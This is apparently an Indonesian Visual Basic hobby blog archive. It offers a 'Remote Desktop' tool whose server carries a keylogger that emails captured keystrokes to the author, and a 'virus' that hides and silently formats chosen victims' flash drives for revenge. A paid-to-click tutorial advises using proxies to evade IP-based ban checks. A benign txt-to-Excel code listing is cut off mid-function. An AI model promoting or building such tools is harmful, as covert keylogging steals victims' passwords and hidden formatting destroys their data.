Harap Diperhatikan bahwa semua bentuk kerugian pada anda atau kerugian pada pihak lain yang diakibatkan penggunaan program "REMOTE DESKTOP" ini, bukan merupakan tanggung jawab saya sebagai penyusun program. Semua bentuk kerugian tersebut sepenuhnya menjadi tanggung jawab anda yang menjalankan aplikasi "REMOTE DESKTOP". Jika anda tidak setuju dengan hal ini lebih baik jangan gunakan aplikasi ini dan hapus dari komputer anda melalui tombol "Clear Your PC" yang ada pada form login aplikasi "Client.exe".

Tetapi jika anda setuju, maka harus diingat bahwa jika aplikasi "Server" berjalan di komputer anda dan anda terhubung dengan internet serta jika website untuk mengirim email secara anonim dapat diakses serta Kontrol Check Untuk memperbolehkan pengiriman e-mail ke VBasicCode anda centang maka otomatis setiap 15 menit "server" akan mengirim informasi ke account email saya, sehingga saya dapat mengambil keuntungan dari hasil keylogger yang tertanam di "server".
HATI-HATI JANGAN SAMPAI SAYA MENGETAHUI PASSWOR ANDA!!!.

Aplikasi Ini Dibuat dan Di Coba Pada System Windows XP SP 2, kadang masih dijumpai Bugs yaitu, Bugs pada proses Pengiriman email yang kadang gagal kadang berhasil, hal ini disebabkan karena web yang dipilih untuk pengiriman secara anonim kadang tidak dapat diakses sehingga email dari server tidak terkirim. Untuk mengatasi hal ini maka download dan gunakan aplikasi emailbomber yang telah saya upload sebelumnya untuk mengetahui webserver yang memiliki fasilitas pengiriman e-mail Anonim. Jika telah mendapatkan webserver dengan fasilitas ini maka tulis secara lengkap alamat webserser tersebut ke dalam file "Webserver.txt" yang secara otomatis akan dihasilkan jika anda menjalankan "Client.exe".

Fitur
Fitur yang ada pada aplikasi ini adalah:
Cek IP Address
Otomtatis Kirim e-mail
Cek Pengiriman e-mail
Update WebServer e-mail Anonim
ScreenShot
Keylogger
Upload Download
Chating
Pesan Pop-Up
Shutdown, Restart, Log Off
Minimize Semua Window
Show Hide Start Button
Enable Disable Start Button
Ubah Resolusi Monitor
Balik Layar Monitor
Wallpaper
Screen Saver
Open Close CD-Rom
Disable Enable Task Manager
Disable Enable Regedit
Show Hide Taskbar
Show Hide Clock
Kunci File executable
Disable Enable System Restore
Ubah Owner
Ubah Organization
Show Hide Icon Desktop
Get Versi Windows
Open Directory
Delete
Remove
Empty
Kill
Run
Mouse
View Time Server
Timer Connect/DisConnect Internet
Timer Shutdown
Tweak Registry
Close Windows Process
Del Windows Process

Pada akhirnya saya ucapkan terimakasih telah sudi membaca dan memnggunakan aplikasi ini. Semoga bermanfaat dan menambah Pengetahuan.

Salam.

ShowHideFileFolder.exe - Aplikasi Pengubah Attribut File

2010-06-22T14:36:00.002+07:00

Kadang kala bila komputer/flashdisk kita pernah kena virus maka file atau folder akan disembunyikan oleh virus karena beratribut HiddenSystemReadonly, user awam kadang malah menganggap file telah dihapus oleh virus padahal belum tentu. Untuk mengembalikan file folder yang disembunyikan virus gunakan aplikasi ShowHideFileFolder.exe.

Klik untuk Download Aplikasi dan Project ShowHideFileFolder
Semoga bermanfaat!!

NeoRefStat.Exe - Neobux Referrals Stats

2010-06-19T16:14:00.011+07:00

Aplikasi yang saya buat khusus bagi anda yang bergabung dengan program PTC Neobux, yaitu program klik dapat duit. Fungsi dari aplikasi adalah untuk mengetahui status Referral kita baik itu Rented Referrals atau Direct Referrals.
Code yang dipelajari dari aplikasi ini adalah :
1. Membaca file txt dan ditampilkan dalam listview
2. Sort ListView
3. Memberi warna listview sesuai dengan angka yang berada dalam subitem/kotaknya.
4. Comparing 2 txt file, dalam contoh aplikasi ini adalah mencari klik pada file txt 1 tiap referral yang ada pada file txt ke-2 dan kemudian menggabungkannya dalam file lain.
5. Membuat grafik dari click tiap referral dalam satu bulan dan grafik Average AVG dalam satu bulan juga.

Cara Penggunaan:
Setelah nanti anda download dan ekstrak maka dalam folder tersebut terdapat folder-folder yang merupakan file referral saya, jadi itu merupakan sampel saja. Dan jika anda sudah faham penggunaanya tinggal anda hapus semua hasil download beserta folder dan file didalamnya kecuali tentu saja sisakan NeoRefStat.exe. Kemudian silahkan jalankan aplikasi dan mulailah melekukan ekspor file txt dari neobux dengan cara klik "Get Referrals List" maka akanmuncul popupmenu dan silahkan klik Link untuk download Rented Referral atau Direct referrals. Setelah anda mendapatkan file tersebut maka simpan pada folder dalam aplikasi ini, yaitu folder DataExportFromNeobux. Lebih jelasnya baca Help-nya ya..hehehe..
Perhatikan screenshot dibawah ini.

Klik untuk Download Aplikasi Versi Instalasi NeoRefStat
Klik untuk Download Project NeoRefStat

Semoga bermanfaat.

Tutorial PTC (Paid to Click)

2010-04-18T21:31:00.040+07:00

Apakah PTC itu?
PTC adalah sebuah program dimana pemasang iklan (Advertiser) akan membayar Anda setelah mengklik, melihat (View) iklan mereka dalam jangka waktu tertentu (sekitar 10-40 detik). Iklan yang diklik tersebut bernilai macam-macam, rata-rata $0,01 untuk 1 kali klik. Ada juga yang $0,005 $0,0075 juga $0,02.
Sebenarnya dari PTC yang benar-benar membayar bisa dimanfaatkan sebagai salah satu sumber untuk meraup dolar. Karena mudah dan bisa dilakukan oleh semua orang. Iklan-iklan tersebut diklik oleh Anda sendiri (bukan menunggu orang lain), Anda juga tidak perlu membuat blog/situs dan sebagainya untuk memasang kode iklan.

Apakah Situs PTC itu?
Program PTC tidak sama dengan Autosurf, MLM, sistem piramida/Matrix, atau model kaya cepat dalam waktu singkat.
Situs PTC merupakan salah satu inovasi dalam model pemasangan iklan dan akan ada konsumen yang pasti melihat iklan mereka (dari sekian banyak konsumen yang mengklik/melihat iklan tersebut tentunya akan ada yang beli), itulah tujuan dari situs PTC tersebut.
Situs PTC sendiri memperoleh dana (uang) dari para pemasang iklan atau melalui sponsorship dari membernya, misalnya ada yang mau Upgrade ke keanggotaan yang lebih tinggi, misalnya Premium supaya bisa mengklik iklan lebih banyak, ada pula yang menjual referal, bahkan ada yang menjual marchandise dan sebagainya.

Apakah ikut PTC gratis atau bayar?
Semua situs PTC GRATIS.
Jadi, karena gratis Anda tidak punya resiko.
Jangan mau membayar dimuka kalau ada situs PTC yang seperti itu karena belum apa-apa Anda sudah diminta dibayar, padahal tujuan Anda kan mencari duit (dolar) bukan keluar duit.

Bagaimana saya mendapatkan dolar?
Seperti yang sudah saya jelaskan di awal, Anda mendaftar terlebih dahulu melalui link yang diberikan kepada anda (referal), karena umumnya pada saat mendaftar anda akan ditanyakan darimana anda mendapatkan referensi situs PTC tersebut. Setelah itu login dan menuju pada halaman yang menyediakan iklan untuk diklik. Kemudian menunggu iklan tersebut tampil sepenuhnya dan tunggu 10-50 detik (tergantung situs penyelenggara). Semakin banyak iklan yang diklik maka semakin besar perolehan Anda.
Anda akan memperoleh tambahan penghasilan lagi dengan mengajak orang lain untuk ikut menjadi downline (referal) di bawah Anda. Semakin banyak member Anda semakin besar pula pendapatan Anda. Biasanya perolehan Anda dari referal adalah 50%, ada juga yang 25% atau 70%, sekali lagi tergantung situsnya.

Di bawah ini contoh pendapatan Anda:
* Anda mengklik 10 iklan setiap hari, 1 iklan bernilai $0,01 maka = $0.10
* 20 referral juga mengklik 10 iklan tiap hari = $2.00
* Pendapatan Anda tiap hari = $2.10 (Jumlah klik Anda + Jumlah klik referal --> $2.00 + $0.10)
* Pendapatan Anda tiap minggu menjadi = $14.70
* Pendapatan Anda tiap bulan menjadi = $63.00

Apa ada aturan mengklik iklan?
Setiap iklan yang diklik harus satu-persatu, tidak boleh diklik sekaligus semuanya.
Ingat, Anda tidak boleh curang dengan mengklik iklan yang sama lebih dari 1x, sebab setiap iklan hanya boleh diklik 1x saja dalam 1 hari. Besoknya (setelah 24 jam) baru Anda boleh mengklik lagi iklannya.
Biasanya setelah hitungan mundur berakhir ada yang menunjukkan bahwa credit/pendapatan Anda telah ditambahkan. Ada juga yang meminta Anda untuk mengklik angka tertentu, memasukkan angka tertentu ataupun mengklik link menuju alamat iklan tersebut.
Lebih jelasnya silahkan lihat panduan yang dilengkapi gambar berikut ini Click disini
Bagaimana saya mengambil pendapatan saya?
Setelah Anda mencapai minimum payout, Anda bisa melakukan penarikan. Biasanya melalui PayPal atau AlertPay. Jadi, Anda harus mendaftar salah satu atau keduanya terlebih dahulu. Kebanyakan situs PTC membayar melalui AlertPay ketimbang PayPal.
Setelah Anda merasa dana Anda cukup banyak di AlertPay/PayPal baru Anda menariknya ke rekening di Indonesia bisa melalui cek atau transfer. Klik pada menu WITHDRAW dalam AlertPay/PayPal.

Bagaimana jika saya tidak punya AlertPay/PayPal?
Ya, Anda daftar dulu.

Klik banner di bawah ini untuk mendaftar AlertPay

Klik banner di bawah ini untuk mendaftar PayPal

Kenapa harus pakai AlertPay/PayPal?
Karena Anda tidak bisa langsung menarik pendapatan Anda dari situs PTC. Jadi, duit Anda ditransfer dulu ke rekening bank Online (AlertPay dan PayPal). Selain itu, kalau Anda mengikuti beberapa program PTC sekaligus maka AlertPay akan mempermudah Anda. Semua dana akan masuk dalam satu rekening dan kemudian baru Anda melakukan penarikan.

Situs PTC apa saja yang baik?
Soal baik atau tidak situs itu tergantung dari situs itu sendiri.
Banyak sekali Situs PTC tetapi sedikit sekali yang benar-benar membayar membernya, karena banyak situs tersebut yang melakukan kecurangan dengan berbagai macam hal misalnya tidak melakukan pembayaran kepada membernya karena dianggap menyalahi aturan (ToS), menghentikan situs mereka dengan tiba-tiba.
Situs PTC yang paling saya rekomendasikan adalah Neobux karena membayar secara instant. Dan selama ini Neobux memang dipercaya dan bebas masalah. Minimal penarikan $2, tiap hari ada 4 iklan minimal. Jadi, untuk penarikan tidak perlu nunggu lama.

Langkah-langkah mendaftar Di Neobux
1. Klik link untuk menuju ke halaman Neobux, Click here
2. Klik Register, pojok kanan atas untuk mendaftar
3. Tulis Username dan password yang kamu inginkan
4. Untuk Paypal/Alertpay maka isi saja dengan email yang anda miliki (jika belum memiliki Paypal atau Alertpay). Anda bisa mendaftar Alertpay/Paypal pada hari-hari berikutnya dengan menggunakan email ini.
5. Tulis code captcha pada kotak yang disediakan
6. Klik Submit
7. Buka window/tab baru untuk membuka email anda karena Neobux akan mengirimkan kode verifikasi di email anda. Jika tidak ada di kotak masuk maka cek di folder spam.
8. Masukan kode tersebut
9. Klik verification dan congratulations menandakan anda sukses mendaftar.

Yang perlu diingat setelah anda mendaftar/signup adalah :
Setelah anda mendaftar di Neobux Anda diberi waktu 3 hari setelah masa pendaftaran untuk melakukan aktifitas klik iklan, jika anda tidak melakukan klik iklan maka Neobux akan menghapus anda dari anggotanya.
1. Klik Login
2. Masukkan Username dan password yang digunakan saat mendaftar
3. Untuk Secondary Password Kosongkan saja
4. Tulis code captcha pada kotak yang disediakan
5. Klik Submit
6. Klik View Advertisement
7. Klik iklan yang disediakan, untuk member baru/Satus Standar maka disediakan 4 iklan/hari, misal klik iklan "EToro" maka muncul "Bulatan merah"
8. Klik "Bulatan Merah" ini dan tunggu proses Iklan Muncul secara sempurna, dan anda akan mendapatkan bayaran Dollar dari iklan tersebut.
9. Ulangi hingga 4 iklan yang disediakan habis, ditandai dengan berubahnya warna bintang yang semula berwarna kuning berubah menjadi berwarna coklat.
10. Ulangi esok harinya, usahakan pada jam yang sama dengan saat pertama kali melakukan klik iklan.

Info dan Tips Jika Iklan Tidak Muncul atau Tidak Dapat Diklik
Jika tertarik pada Neobux silahkan Download Aplikasi Earning Calculator yang saya buat ini Click Disini.
Aplikasi ini bermanfaat untuk mengetahui penghasilan anda di Neobux dan juga berisi link-link ke forum baik forum indonesia, USA, Palestina dll yang bermanfaat bagi anggota Neobux dan cara menghitung penghasilan kita di Neobux.

Atau silahkan Download Aplikasi NeoRefStat yang saya buat ini Click Disini.
Aplikasi ini bermanfaat untuk mengetahui Status Rented Referral ataupun Direct Referrals disertai grafik klik RR selama 30 hari beserta Average AVGnya..

Jika anda telah mendaftar maka anda baru boleh menulis di forum dan menggunakan Chating setelah melakukan klik iklan sebanyak 30 iklan jadi sekitar 8 hari anda belum dapat menulis di forum dan menggunakan fasilitas chating, tapi kalau membaca postingan di forum ya tentu boleh. Tempat yang hebat memang banyak aturan tetapi itu semua untuk kenyamanan anggotanya.

Jika pada saat anda klik iklan, muncul pernyataan "Another user using your IP Address.." ataupun anda tidak bisa mendaftar PTC gara-gara IP Address maka gunakan langkah dibawah ini:
1. Klik tautan ini proxy-list.org
2. Isikan captcha code yang diminta
3. Muncul banyak IP address
4. Pilih salah satu yang "Latency" nya jangan yang 0.0000
5. Misalkan pilih 118.116.178.243:9415, artinya angka 9415 yang paling belakang dimasukan kedalam Port sedangkan lainnya adalah IP Address dan dimasukkan dalam HTTP Proxy.
Untuk memasukkanya jika menggunakan Mozilla :
1. Klik Tools
2. Klik Options
3. Klik Tab Network
4. Klik Tab Settings
5. Pilih "Manual Proxy Configurations"
6. Masukkan 118.116.178.243 pada "HTTP Proxy" dan masukkan 9415 pada "Port"
7. Cobalah untuk klik iklan yang gagal tadi.

Tips lainnya gunakan CCleaner untuk membersihkan cookies ini linknya Download CCleaner

Jika ada kesulitan silahkan add fb saya atau kirim email saya, mungkin saya dapat membantu

Terimakasih telah membaca Tutorial ini
Semoga bermanfaat

SIAP MENDAPATKAN TAMBAHAN UANG!!!! "

******************************************************************************
Klik Banner berikut untuk mendaftar NeoBux [RECOMENDED]

Klik Banner berikut untuk mendaftar OnBUX

Klik Banner berikut untuk mendaftar FoxBux

Klik Banner berikut untuk mendaftar Earn Easy Cash

VIRUS FORMAT PERSONAL FLASHDISK (VFP-FLASHDISK)

2009-03-06T14:53:00.024+07:00

Saya beri nama aplikasi ini dengan nama VIRUS FORMAT PERSONAL FLASHDISK (VFP-FLASHDISK), karena aplikasi ini dibuat dengan tujuan untuk melakukan format pada flashdisk orang yang telah anda tentukan, mungkin orang tersebut membuat sakit hati sehingga perlu memberikan pelajaran dengan melakukan format pada flashdisknya.

Jadi tidak semua flashdisk yang masuk akan diformat, flashdisk yang memiliki nama/VolumeName yang sama dengan daftar target sajalah yang akan diformat.

ANALOGI PEMROGRAMAN VFP-FLASHDISK

1. Virus melakukan scan nama/volume flashdisk terhadap flashdisk yang terhubung dengan komputer

2. Jika ditemukan nama/volume flashdisk yang terhubung itu sama dengan daftar nama target/korban maka flashdisk tersebut akan diformat.

3. Jika flashdisk yang terhubung tersebut nama/volumenya tidak ditemukan pada daftar target maka nama flashdisk tersebut akan disimpan dalam suatu file. dari file inilah anda akan mendapatkan nama/volume flashdisk siapa sajakah yang pernah konek dengan komputer. Dan jika anda menginginkan anda dapat menambahkannya pada daftar target.

4. Anda dapat menambah atau menghapus daftar target dengan sekali klik pada tombol.

UNTUK PEMROGRAMANNYA DIBUTUHKAN FUNGSI:

1. Pemanggilan Windows Format secara Sembunyi agar user (Si empunya flashdisk) tidak melihat kalau flashdisknya diformat.

2. Pemanggilan dan menyembunyikan virus hanya dengan sekali tekan. Anda dapat menyembunyikan virus dengan menekan tombol Hide dan anda dapat menampilkan virus kembali dengan hanya menekan Ctrl+F10. bagaimana menurut anda dipermudah bukan ? he..he..

CARA MEMULAI/MENJALANKAN APLIKASI

1. Jangan sampai ada flashdisk yang terhubung dengan PC

2. Flashdisk anda Jangan diberi nama/Bervolume

a. Removable Disk

b. Amat

c. Agus

Karena akan langsung diformat

3. Klik dua kali untuk menjalankan aplikasi kemudian Tekan Ctrl+F10 agar aplikasi terlihat

4. Klik Tombol "KLIK UNTUK MENJALANKAN VIRUS YANG TELAH TERCOPY DI PC KEMUDIAN TEKAN Ctrl+F10 AGAR VIRUS TERLIHAT"

5. Tekan Ctrl+F10 untuk menampilkan aplikasi yang telah berjalan pada PC

Maaf, untuk aplikasi ini tidak saya sertakan source codenya karena :

1. Siapa tahu ada yang mau donasi karena tertarik source code "Format Drive" sehingga ada biaya pengiriman. He..he..he..

2. Fitur Format saya anggap fitur yang kejam dan tidak ada seninya bagi suatu virus jadi ngga usah disertakan source codenya, tetapi bagi aplikasi lainnya (bukan virus) mungkin fitur yang sangat bermanfaat. Apalagi ada source code untuk otomatisasi, contohnya jika anda pada saat akan melakukan format secara biasa maka akan tampil windows formating dan anda disuruh menekan/melakukan klik dengan maouse pada tombol yang muncul, maka dengan source code yang telah disiapkan kita tidak perlu menekan keyboard/mause.

Klik Untuk Download Aplikasi VFP-FlashDisk

SEMUA INI UNTUK MENAMBAH WAWASAN SAJA DAN KEHATI-HATIAN ANDA AKAN BAHAYA YANG SELALU MENGANCAM DATA PENTING ANDA

TARGET DISINI CUMA FLASHDISK BAGAIMANA JIKA TARGETNYA DITAMBAH DENGAN DRIVE DATA-DATA SELAIN DRIVE SYSTEM????MENANGISLAH KITA

TERIMAKASIH

SALAM

Bagikan ^_^

Ekspor Txt ke Excel

2008-11-06T02:21:00.011+07:00

Hallo-hallo, sudah lama ngga ngisi blog ini, semoga teman semua tidak pada bosen dan semoga tambah pinter pemrograman VBnya. Untuk posting kali ini saya mencoba memenuhi permintaan salah satu pengunjung mengenai peng-Eksporan data dari format .txt diekspor ke format excel.

Langsung saja yang dibutuhkan dalam pembuatan aplikasi ini adalah ListView untuk menampung data dari file data.txt, 1 Commandbutton untuk melihat dan sekaligus menyimpan file dalam format xls ataupun txt, dan combo box untuk menampung pilihan format yang ingin dilihat yaitu .txt atau .xls, Agar lebih jelas lagi lihat gambar di atas. Tanpa basa-basi silahkan dipelajari code-code dibawah ini.

Masukan code dibawah ini pada form

Option Explicit
Public Enum DataSiswa
Nama = 1
Kelas
JenisKelamin
NIS
Alamat
Tempatlahir
TanggalLahir
End Enum

Private Const SE_ERR_NOASSOC = 31
Private Declare Function timeGetTime Lib "winmm.dll" () As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long


Private Sub LoadHeader()
On Error GoTo Salah

'mengeset columnheaders
With lvwDataSiswa

.ColumnHeaders.Add , "Nama", "Nama"
.ColumnHeaders.Add , "Kelas", "Kelas"
.ColumnHeaders.Add , "JenisKelamin", "JK"
.ColumnHeaders.Add , "NIS", "NIS"
.ColumnHeaders.Add , "Alamat", "Alamat"
.ColumnHeaders.Add , "Tempatlahir", "Lahir"
.ColumnHeaders.Add , "TanggalLahir", "Tanggal Lahir"


'Nama
.ColumnHeaders.Item(DataSiswa.Nama).Width = 2500
.ColumnHeaders.Item(DataSiswa.Nama).Alignment = lvwColumnLeft
'Kelas
.ColumnHeaders.Item(DataSiswa.Kelas).Width = 700
.ColumnHeaders.Item(DataSiswa.Kelas).Alignment = lvwColumnLeft
'JenisKelamin
.ColumnHeaders.Item(DataSiswa.JenisKelamin).Width = 500
.ColumnHeaders.Item(DataSiswa.JenisKelamin).Alignment = lvwColumnLeft
'NIS
.ColumnHeaders.Item(DataSiswa.NIS).Width = 700
.ColumnHeaders.Item(DataSiswa.NIS).Alignment = lvwColumnLeft
'Alamat
.ColumnHeaders.Item(DataSiswa.Alamat).Width = 2500
.ColumnHeaders.Item(DataSiswa.Alamat).Alignment = lvwColumnLeft
'Tempatlahir
.ColumnHeaders.Item(DataSiswa.Tempatlahir).Width = 1000
.ColumnHeaders.Item(DataSiswa.Tempatlahir).Alignment = lvwColumnLeft
'TanggalLahir
.ColumnHeaders.Item(DataSiswa.TanggalLahir).Width = 1200
.ColumnHeaders.Item(DataSiswa.TanggalLahir).Alignment = lvwColumnLeft
End With


Exit Sub
Salah:
MsgBox Err.Number & vbCrLf & Err.Description
End Sub

Private Sub CmdView_Click()

ShowItemList lvwDataSiswa, 100, "Data Siswa", , True, cboExt.Text

End Sub

Private Sub Form_Load()
LoadHeader
PopulateLvw
cboExt.ListIndex = 0
End Sub

Private Sub PopulateLvw()
On Error GoTo Salah
Dim Item As ListItem
Dim sData As String
Dim saryData() As String
Dim lCount As Long
Dim saryColData() As String
Dim lColPos As Long

sData = GetFileData(App.Path & "\Data.txt")

saryData() = Split(sData, vbCrLf)

'menghilangkan Header Name yang pertama pada data.txt
For lCount = LBound(saryData, 1) + 1 To UBound(saryData, 1)
If saryData(lCount) = vbNullString Then
Exit For
End If
saryColData() = Split(saryData(lCount), vbTab)

Set Item = lvwDataSiswa.ListItems.Add(, , saryColData(DataSiswa.Nama - 1))
'Kelas
Item.SubItems(DataSiswa.Kelas - 1) = saryColData(DataSiswa.Kelas - 1)
'JenisKelamin
Item.SubItems(DataSiswa.JenisKelamin - 1) = saryColData(DataSiswa.JenisKelamin - 1)
'NIS
Item.SubItems(DataSiswa.NIS - 1) = saryColData(DataSiswa.NIS - 1)
'Alamat
Item.SubItems(DataSiswa.Alamat - 1) = saryColData(DataSiswa.Alamat - 1)
'Tempatlahir
Item.SubItems(DataSiswa.Tempatlahir - 1) = saryColData(DataSiswa.Tempatlahir - 1)
'TanggalLahir
Item.SubItems(DataSiswa.TanggalLahir - 1) = saryColData(DataSiswa.TanggalLahir - 1)
Item.Selected = False
Next

Exit Sub
Salah:
MsgBox Err.Number & vbCrLf & Err.Description
End Sub

Private Sub ShowItemList(poLstView As Object, _
Optional plMaxColLen As Long = 100, _
Optional psOutPutName As String = vbNullString, _
Optional psOutPutPath As String = vbNullString, _
Optional pbUseTempPrefix As Boolean = False, _
Optional psExt As String)
On Error GoTo Salah
'Error
Dim lRet As Long
Dim lErrNum As Long
Dim sErrDesc As String
'File names
Dim sFileName As String
Dim sFullPathName As String
Dim sTempDir As String
Dim sExt As String
Dim bValidExt As Boolean
Dim bDelAppApthFile As Boolean
'Objects
Dim Item As ListItem
Dim oLstView As ListView
'Build Print Data
Dim lColPos As Long
Dim lFillLen As Long
Dim aryColMaxLen() As Long
Dim sHeader As String
Dim sData As String
Dim sTemp As String


'Set nama file menggunakan ekstensi .txt atau .xls
'hanya Support .txt dan .xls
If psExt = vbNullString Then
psExt = ".txt"
Else
sExt = psExt
End If

'mengecek validnya ekstensi
If StrComp(sExt, ".txt", vbTextCompare) = 0 Then
bValidExt = True
End If

If StrComp(sExt, ".xls", vbTextCompare) = 0 Then
bValidExt = True
End If

If Not bValidExt Then
Exit Sub
End If

'mengeset List View Object
Set oLstView = poLstView

If psOutPutName = vbNullString Then
sFileName = "Daftar Item" & sExt
Else
If pbUseTempPrefix Then
sFileName = psOutPutName & sExt
Else
sFileName = psOutPutName & sExt
End If
End If

'mengeset Output path
If psOutPutPath = vbNullString Then
sTempDir = App.Path & "\"
Else
sTempDir = psOutPutPath
End If

sFullPathName = sTempDir & sFileName

If Not utFileExists(sTempDir, True) Then
bDelAppApthFile = True
sTempDir = App.Path & "\"
End If

'menyusun Data
Screen.MousePointer = VBRUN.MousePointerConstants.vbHourglass

'1. menyusun Header
ReDim aryColMaxLen(1 To oLstView.ColumnHeaders.Count)
For lColPos = 1 To oLstView.ColumnHeaders.Count
If oLstView.ColumnHeaders(lColPos).Width > 0 Then
If StrComp(sExt, ".txt", vbTextCompare) = 0 Then
aryColMaxLen(lColPos) = GetMaxLenthForCol(oLstView, lColPos)
End If
sTemp = oLstView.ColumnHeaders(lColPos).Text
sTemp = "[" & sTemp & "]" 'wrap the col name
If StrComp(sExt, ".txt", vbTextCompare) = 0 Then
If aryColMaxLen(lColPos) < Len(sTemp) Then aryColMaxLen(lColPos) = Len(sTemp) End If lFillLen = aryColMaxLen(lColPos) lFillLen = (lFillLen - Len(sTemp)) If lFillLen > 0 Then
sTemp = sTemp & String(lFillLen, Chr(32))
End If
End If
'tambahkan ke header
sHeader = sHeader & sTemp & vbTab
End If
Next
If sHeader <> vbNullString Then
'menambahkan spasi pada header
sHeader = sHeader & vbCrLf
End If

'Set Header ke Data
sData = sHeader

'2. menyusun isi
For Each Item In oLstView.ListItems
For lColPos = 1 To oLstView.ColumnHeaders.Count
If oLstView.ColumnHeaders(lColPos).Width > 0 Then
If lColPos = 1 Then
sTemp = Item.Text
Else
sTemp = Item.ListSubItems(lColPos - 1).Text
End If
'dibutuhkan untuk membersihkan banyaknya enter pada data
'Replace with 2 spaces
sTemp = Replace(sTemp, vbCrLf, String(2, Chr(32)))
'tidak memiliki banyak extra tab,
sTemp = Replace(sTemp, vbTab, " ")
'tambah 3 account untuk "..."
If Len(sTemp) > (plMaxColLen + 3) Then
sTemp = Left(sTemp, plMaxColLen) & "..."
End If
'Hanya dibutuhkan untuk mendapatkan banyaknya Len pada format .txt
If StrComp(sExt, ".txt", vbTextCompare) = 0 Then
lFillLen = aryColMaxLen(lColPos)
lFillLen = lFillLen - Len(sTemp)
If lFillLen > 0 Then
sTemp = sTemp & String(lFillLen, Chr(32))
End If
End If
sData = sData & sTemp & vbTab
End If
Next
sData = sData & vbCrLf
Next


'Simpan ke temp directory
SaveFileData sFullPathName, sData

If utFileExists(sFullPathName) Then
lRet = utShellExecute(GetDesktopWindow, "OPEN", sFullPathName, vbNullString, App.Path, vbNormalFocus, False, False, True)
End If

Screen.MousePointer = VBRUN.MousePointerConstants.vbDefault

Set oLstView = Nothing
Set Item = Nothing
Exit Sub
Salah:
lErrNum = Err.Number
sErrDesc = Err.Description
Screen.MousePointer = VBRUN.MousePointerConstants.vbDefault
Err.Raise lErrNum, , sErrDesc & vbCrLf & "Private Sub ShowItemList"
End Sub

Private Function GetMaxLenthForCol(poLstView As Object, _
lColPos As Long, _
Optional plMaxColLen As Long = 100) As Long
On Error GoTo Salah
Dim lErrNum As Long
Dim sErrDesc As String
Dim Item As ListItem
Dim oLstView As ListView
Dim sTemp As String
Dim lThisLen As Long
Dim lLen As Long

Set oLstView = poLstView

For Each Item In oLstView.ListItems
If lColPos = 1 Then
sTemp = Item.Text
Else
sTemp = Item.ListSubItems(lColPos - 1).Text
End If
lThisLen = Len(sTemp)
If lThisLen > lLen Then
lLen = lThisLen
End If
Next

If lLen > plMaxColLen Then
' Tambahkan maksimal 3 Length untuk account "..."
lLen = plMaxColLen + 3
End If

GetMaxLenthForCol = lLen

Set Item = Nothing
Set oLstView = Nothing

Exit Function
Salah:
lErrNum = Err.Number
sErrDesc = Err.Description
Screen.MousePointer = VBRUN.MousePointerConstants.vbDefault
MsgBox lErrNum & vbCrLf & sErrDesc
End Function


Public Function utFileExists(strFile As String, Optional pbDirOnly As Boolean) As Boolean
On Error GoTo Salah
Dim FSO As Scripting.FileSystemObject

Set FSO = New Scripting.FileSystemObject


If strFile <> vbNullString Then
If Not pbDirOnly Then
utFileExists = FSO.FileExists(strFile)
Else
utFileExists = FSO.FolderExists(strFile)
End If
End If

Set FSO = Nothing

Exit Function
Salah:
Set FSO = Nothing
utFileExists = False
End Function

Public Sub SaveFileData(psFilePath As String, psFileData As String, Optional psDelimeter As String, Optional pbLock As Boolean = False, Optional piFFile As Integer)
On Error GoTo Salah
Dim lMyFileLen As Long
Dim iFFile As Integer
Dim lErrNum As Long
Dim sErrDesc As String


iFFile = FreeFile
piFFile = iFFile
Open psFilePath For Binary Access Write As #iFFile
Put #iFFile, 1, psFileData & psDelimeter
If Not pbLock Then
Close #iFFile
End If
Exit Sub
Salah:
lErrNum = Err.Number
sErrDesc = Err.Description
Close #iFFile
Err.Raise lErrNum, , App.EXEName & vbCrLf & "Public Sub SaveFileData" & vbCrLf & "Error # " & lErrNum & vbCrLf & sErrDesc & vbCrLf
End Sub

Public Function GetFileData(psFilePath As String, Optional pbLock As Boolean = False, Optional piFFile As Integer, Optional pbSkipMess As Boolean = True) As String
On Error GoTo Salah
Dim lMyFileLen As Long
Dim iFFile As Integer

iFFile = FreeFile
piFFile = iFFile
If pbLock Then
Open psFilePath For Binary Access Read Lock Read As #iFFile
Else
Open psFilePath For Binary Access Read As #iFFile
End If
lMyFileLen = FileLen(psFilePath) + 2
GetFileData = Input(lMyFileLen, #iFFile)
If Not pbLock Then
Close #iFFile
End If

Exit Function
Salah:
Close #iFFile
If Not pbSkipMess Then
If MsgBox("Tidak Dapat Membaca File... " & vbCrLf & psFilePath & vbCrLf & "(" & Err.Description & ")" & vbCrLf & vbCrLf & _
"Jaringan atau File Sedang Sibuk." & vbCrLf & "Tekan ""Yes"" untuk mencoba lagi." & vbCrLf & "Tekan ""No"" untuk menghentikan proses", vbYesNo, "File Sibuk") = vbYes Then
Resume
End If
End If

End Function

Public Function utShellExecute(Optional plHwnd As Long = -1, _
Optional pslpOperation As String = "OPEN", _
Optional pslpFile As String, _
Optional pslpParameters As String = vbNullString, _
Optional pslpDirectory As String = "App.Path", _
Optional plnShowCmd As VBA.VbAppWinStyle = vbNormalFocus, _
Optional pbUseTimeStampFileName As Boolean = False, _
Optional pbShowMessage As Boolean = False, _
Optional psTempFileCaption As String) As Boolean
On Error GoTo Salah
Dim lHwnd As Long
Dim slpOperation As String
Dim slpFile As String
Dim slpParameters As String
Dim slpDirectory As String
Dim lnShowCmd As VBA.VbAppWinStyle
Dim sErrorMess As String
Dim sTmpExt As String
Dim sTmpFile As String
Dim lRet As Long
Dim sDir As String
Dim lErrNum As Long
Dim sErrDesc As String

utShellExecute = False

'mendapatkan info dari Parameter
If plHwnd = -1 Then
lHwnd = GetDesktopWindow
End If
slpOperation = pslpOperation
If pslpFile = vbNullString Then
Exit Function
Else
slpFile = pslpFile
End If

slpParameters = pslpParameters
If pslpDirectory = "App.Path" Then
slpDirectory = App.Path
Else
slpDirectory = pslpDirectory
End If

lnShowCmd = plnShowCmd

'Jika file tdk ada kemudian keluar
If utFileExists(slpFile) Or InStr(1, slpFile, "MAPIMAIL", vbTextCompare) > 0 Then
sTmpFile = slpFile
lRet = ShellExecute(lHwnd, slpOperation, sTmpFile, slpParameters, slpDirectory, lnShowCmd)
If lRet = SE_ERR_NOASSOC Then
sDir = Space(260)
